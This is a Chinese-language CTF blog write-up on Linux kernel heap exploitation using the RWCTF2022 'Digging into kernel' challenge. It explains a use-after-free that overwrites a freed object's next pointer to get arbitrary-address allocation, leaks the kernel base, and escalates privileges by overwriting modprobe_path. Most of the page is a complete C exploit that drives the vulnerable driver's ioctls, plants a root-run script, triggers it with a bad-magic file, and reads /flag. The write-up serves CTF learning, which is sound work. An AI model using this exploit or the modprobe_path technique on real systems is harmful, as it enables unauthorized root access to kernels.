Kernel Heap Arbitrary-Address-Allocation

先跳过了条件竞争,堆喷遇到一个大问题就是nokaslr的时候利用不成功(好像是分配的时候出了问题),但开kaslr的时候调试不了……所以也先跳过了,这个看起来比较简单就先搞这个(⊙﹏⊙)

利用方式就是通过UAF更改object的next指针实现任意地址分配没啥好说的

上例题!

例题:RWCTF2022高校赛 - Digging into kernel

主要分两步:泄露kernel基址和提权

泄露kernel基址

分两步

  • 通过object的next指针泄露一个堆中的地址来猜page_offset_base
  • page_offset_base+0x9d000处是secondary_startup_64的地址,可以由此计算kernel基址

为什么page_offset_base+0x9d000是secondary_startup_64的地址:

0xffff888000000000-0xffffc87fffffffff是物理地址的线性映射区,所以page_offset_base+0x9d000应该是物理地址0x9d000,属于保护模式使用的内存区域,但这个地址在进入长模式时的内容还是0,所以这是为什么我也不知道(

提权

覆写modprobe_path以root执行程序:

当执行(execve)一个非法的文件(file magic not found),会以root权限执行以modprobe_path为路径的可执行文件(默认值为/sbin/modprobe)

可以将modprobe_path更改为恶意脚本的路径(exp中间是改变flag的权限)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include "kernel.h"

#define MODPROBE_PATH 0x1444700

struct data
{
size_t *content;
int index;
int size;
};

void read_buf(int fd, struct data *data_ptr)
{
ioctl(fd, 0x7777777, data_ptr);
}

void alloc_buf(int fd, struct data *data_ptr)
{
ioctl(fd, 0x1111111, data_ptr);
}

void write_buf(int fd, struct data *data_ptr)
{
ioctl(fd, 0x6666666, data_ptr);
}

int main()
{
bindCore(0);

system("echo \"#!/bin/sh\nchmod 777 /flag\" > /home/getshell");
system("chmod +x /home/getshell");

int fd[3], i;
for(i = 0; i < 3; i++)
{
fd[i] = open("/dev/xkmod", O_RDONLY);
if(fd[i] < 0)
fail_print("Open Fail!");
}

struct data mydata;
mydata.content = malloc(0x1000);
mydata.index = 0;
mydata.size = 0x50;
memset(mydata.content, 0, 0x1000);

alloc_buf(fd[0], &mydata);
close(fd[0]);

read_buf(fd[1], &mydata);
size_t heap_base = mydata.content[0] & 0xfffffffff0000000;
printf("\033[32m\033[1m[+] Get the heap base : 0x%lx\033[0m\n", heap_base);

mydata.content[0] = (size_t)(heap_base + 0x9d000 - 0x10);
mydata.index = 0;
mydata.size = 8;

write_buf(fd[1], &mydata);

mydata.size = 0x18;
alloc_buf(fd[1], &mydata);
alloc_buf(fd[1], &mydata);
read_buf(fd[1], &mydata);

size_t kernel_base = mydata.content[2] - 0x30;
if((kernel_base & 0xfff) != 0)
fail_print("Leak Kernel Base Error!");
printf("\033[32m\033[1m[+] Get kernel base : 0x%lx\033[0m\n", kernel_base);

alloc_buf(fd[1], &mydata);
close(fd[1]);

mydata.size = 8;
mydata.content[0] = MODPROBE_PATH - 0x10 + kernel_base;
write_buf(fd[2], &mydata);

alloc_buf(fd[2], &mydata);
alloc_buf(fd[2], &mydata);
mydata.content[0] = 0;
mydata.content[1] = 0;
mydata.size = 0x20;
strcpy(&mydata.content[2], "/home/getshell\0");
write_buf(fd[2], &mydata);

system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");

char flag[100];
memset(flag, 0, 100);
int flag_fd = open("/flag", O_RDWR);
if(flag_fd < 0)
fail_print("Fail Open flag!");
read(flag_fd, flag, sizeof(flag));
printf("\033[32m\033[1m[+] flag : %s\033[0m\n", flag);
return 0;
}

Kernel Heap Arbitrary-Address-Allocation
http://akaieurus.github.io/2023/08/18/kernel-heap-aaa/
作者
Eurus
发布于
2023年8月18日
许可协议